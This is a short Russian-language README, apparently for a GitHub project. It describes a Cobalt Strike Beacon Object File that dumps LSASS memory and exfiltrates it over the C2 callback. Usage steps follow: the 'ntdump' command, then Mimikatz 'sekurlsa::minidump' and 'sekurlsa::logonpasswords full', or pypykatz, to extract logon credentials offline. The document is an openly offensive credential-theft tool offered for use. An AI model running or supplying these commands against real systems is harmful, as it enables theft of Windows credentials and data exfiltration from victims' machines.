deh00ni/ntdumpbofCobalt Strike BOF, который создаёт минидамп LSASS в памяти и экфильтрирует его через C2 callback для автономного разбора учётных данных с помощью Mimikatz или pypykatz.
BOF-порт инструмента https://github.com/ricardojoserf/NativeDump, написанного @ricardojoserf.
Импортируйте NtDump.cna и запустите:
ntdump <filename>
Minidump-файл будет создан в памяти и скачан с использованием CALLBACK_FILE и CALLBACK_FILE_WRITE. После скачивания файл будет виден в View -> Download.
Затем его можно обработать с помощью Mimikatz
mimikatz # sekurlsa::minidump <file path to downloaded minidump file>
mimikatz # sekurlsa::logonpasswords full
Или с помощью pypykatz
pypykatz lsa minidump <file path to downloaded minidump file>